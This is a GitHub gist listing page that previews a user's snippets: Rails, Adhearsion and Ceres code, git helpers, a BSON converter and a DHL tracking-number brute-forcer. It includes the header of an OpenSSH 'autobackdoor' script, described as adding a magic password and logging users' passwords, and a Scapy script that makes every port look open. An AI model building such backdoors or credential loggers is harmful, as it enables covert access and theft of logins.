Skip to content

Instantly share code, notes, and snippets.

View system123's full-sized avatar

Lloyd Hughes system123

View GitHub Profile
@system123
system123 / _form.html.erb
Created May 25, 2013 08:59
Devise Error
<%= form_for(resource, :as => resource_name, :url => session_path(resource_name)) do |f| %>
<div><%= f.label :email %>
<%= f.email_field :email, :style => "margin-bottom: 15px" %></div>
<div><%= f.label :password %>
<%= f.password_field :password , :style => "margin-bottom: 15px" %></div>
<% if devise_mapping.rememberable? %>
<div><%= f.check_box :remember_me, :style => "float: left; margin-right: 10px" %>
@system123
system123 / Rejected call log
Created February 21, 2014 06:47
Adhearsion event hooks not working call logs
[2014-02-21 08:46:21.683] INFO CallQueue: CALLING {"call_ref"=>"123", "number"=>"074********"}
[2014-02-21 08:46:22.901] DEBUG Adhearsion::OutboundCall: @: Executing command #<Punchblock::Command::Dial target_call_id=nil, target_mixer_name=nil, component_id=nil, source_uri=nil, domain=nil, transport=nil, headers={}, to="SIP/billing/0741*******", from="OUTBOUND <123123123>", timeout=nil, join=nil>
[2014-02-21 08:46:24.015] INFO CallQueue: WAITING FOR SOME CALLS
[2014-02-21 08:46:24.691] DEBUG Adhearsion::OutboundCall: 82b2de71-26fe-4b10-bd8a-3825bd45c21c@: Receiving message: #<Punchblock::Event::Asterisk::AMI::Event target_call_id="82b2de71-26fe-4b10-bd8a-3825bd45c21c", target_mixer_name=nil, component_id=nil, source_uri=nil, domain=nil, transport=nil, name="VarSet", headers={"Privilege"=>"dialplan,all", "Channel"=>"SIP/billing-000011d6", "Variable"=>"punchblock_call_id", "Value"=>"82b2de71-26fe-4b10-bd8a-3825bd45c21c", "Uniqueid"=>"1392964869.62865"}>
[2014-02-21 08:46:24.695] DEBUG Adhearsion::OutboundCall
@system123
system123 / cost_function.cpp
Created March 3, 2014 16:26
Ceres Bundle Adjustment Issues
struct QuaternionBasedAngularError {
QuaternionBasedAngularError(float x_hat, float y_hat) : observed_x(x_hat), observed_y(y_hat) {
ray_rotation[0] = y_hat*sin_half_theta;
ray_rotation[1] = -x_hat*sin_half_theta;
ray_rotation[2] = 0.0;
ray_rotation[3] = cos_half_theta;
}
static ceres::CostFunction* Create(const double observed_x, const double observed_y) {
@system123
system123 / MinCallController
Last active August 29, 2015 14:03
Call recording completion bug
class ClickToCallController < Adhearsion::CallController
def run
answer
call.on_end {
logger.info "CALL HAS ENDED - THIS IS ON_END METHOD"
}
call.on_joined {
@system123
system123 / gitsubmodule
Created March 19, 2015 08:50
Setup git sub-modules from an existing .gitmodules file in a new repo.
#!/bin/sh
set -e
git config -f .gitmodules --get-regexp '^submodule\..*\.path$' |
while read path_key path
do
url_key=$(echo $path_key | sed 's/\.path/.url/')
url=$(git config -f .gitmodules --get "$url_key")
git submodule add $url $path
@system123
system123 / README.md
Last active August 29, 2015 14:26 — forked from hofmannsven/README.md
My simply Git Cheatsheet
@system123
system123 / openssh-autobackdoor.bash
Last active October 14, 2017 21:05 — forked from eyecatchup/openssh-autobackdoor.bash
This script provides OpenSSH backdoor functionality with a magic password and logs passwords as well. It leverages the same basic idea behind common OpenSSH patches but this script attempts to make the process version agnostic. Use at your own risk.
#!/bin/bash
# ============================================
# satyr's openssh autobackdooring doohicky v0.-1
# [email protected]
# ============================================
# USAGE:
# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).
# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything
# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.
# [it'll install them via apt or yum, whichever is available]).
@system123
system123 / show_all_your_ports_as_open.md
Created June 24, 2017 18:24 — forked from zbetcheckin/show_all_your_ports_as_open.md
Fun Python & Scapy script that will answer 'SYN ACK' to any TCP 'SYN' packet received on any port

Python - Scapy - Show all your ports as open

#!/usr/local/bin/python2
from scapy.all import *
os.system("iptables -A OUTPUT -p tcp -o eth0 --sport 1:65535 --tcp-flags RST RST -j DROP")
def packet(pkt):
    if pkt[TCP].flags == 2:
        print('SYN packet detected port : ' + str(pkt[TCP].sport) + ' from IP Src : ' + pkt[IP].src)
 send(IP(dst=pkt[IP].src, src=pkt[IP].dst)/TCP(dport=pkt[TCP].sport, sport=pkt[TCP].dport,ack=pkt[TCP].seq + 1, flags='SA'))
@system123
system123 / bson2hdf5.c
Last active September 20, 2017 14:14
CDiscount Kaggle Competition - BSON to HDF5
/* Converts the CDiscount data from BSON format to HDF5 files
*
* Author: Lloyd Hughes <[email protected]>
*
* To compile: gcc -o bson_to_hdf5 bson_to_hdf5.c -I/usr/include/libbson-1.0 -L/usr/lib64 -lbson-1.0 -lhdf5_hl -lhdf5 -lrt -lpthread -lz -ldl -lm -Wl
*/
#include <stdio.h>
#include <bson.h>
#include <hdf5.h>
#include <pthread.h>
@system123
system123 / find_tracking_number.rb
Last active February 13, 2018 15:05
A brute force to find lost DHL tracking numbers when the receipt has deteriorated and only a few digits are readable
require "net/http"
require 'parallel'
start = "54608206666?"
start = "54608??????4"
def make_tracking_num(i, start)
n = start.count("?")
missing = sprintf("%0#{n}d" % i).split('')
track = start.gsub '?', '%d'